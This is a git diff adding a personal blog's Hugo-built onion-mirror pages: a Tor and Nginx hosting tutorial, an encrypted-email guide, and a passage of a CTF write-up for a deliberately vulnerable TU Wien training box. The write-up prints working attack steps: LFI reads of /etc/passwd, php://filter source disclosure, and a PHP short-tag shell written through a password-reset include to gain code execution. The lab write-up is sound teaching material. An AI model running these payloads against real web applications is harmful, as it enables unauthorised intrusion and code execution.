    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/categories/notes/page/1/index.html b/public-onion/categories/notes/page/1/index.html new file mode 100644 index 0000000..56953fa --- /dev/null +++ b/public-onion/categories/notes/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/notes/ + + + + + + diff --git a/public-onion/categories/privacy/index.html b/public-onion/categories/privacy/index.html new file mode 100644 index 0000000..ae4d256 --- /dev/null +++ b/public-onion/categories/privacy/index.html @@ -0,0 +1,352 @@ + + + + + + + +Privacy | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends +

    +
    +
    +

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    +
    +
    October 30, 2025 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/categories/privacy/index.xml b/public-onion/categories/privacy/index.xml new file mode 100644 index 0000000..865649b --- /dev/null +++ b/public-onion/categories/privacy/index.xml @@ -0,0 +1,177 @@ + + + + Privacy on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/privacy/ + Recent content in Privacy on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 30 Oct 2025 00:00:00 +0000 + + + Sending End‑to‑End Encrypted Email (E2EE) without losing friends + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + A practical, mildly opinionated guide to sending encrypted email that normal people can actually read. + If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/categories/privacy/page/1/index.html b/public-onion/categories/privacy/page/1/index.html new file mode 100644 index 0000000..411527c --- /dev/null +++ b/public-onion/categories/privacy/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/privacy/ + + + + + + diff --git a/public-onion/categories/security/index.html b/public-onion/categories/security/index.html new file mode 100644 index 0000000..4df75b9 --- /dev/null +++ b/public-onion/categories/security/index.html @@ -0,0 +1,352 @@ + + + + + + + +Security | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    +
    +
    +

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    +
    +
    June 5, 2026 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/categories/security/index.xml b/public-onion/categories/security/index.xml new file mode 100644 index 0000000..76db0d0 --- /dev/null +++ b/public-onion/categories/security/index.xml @@ -0,0 +1,379 @@ + + + + Security on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/security/ + Recent content in Security on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 05 Jun 2026 12:00:00 +0000 + + + A TU Wien CTF where Sysops Klaus left the keys in the cron job + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. + +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

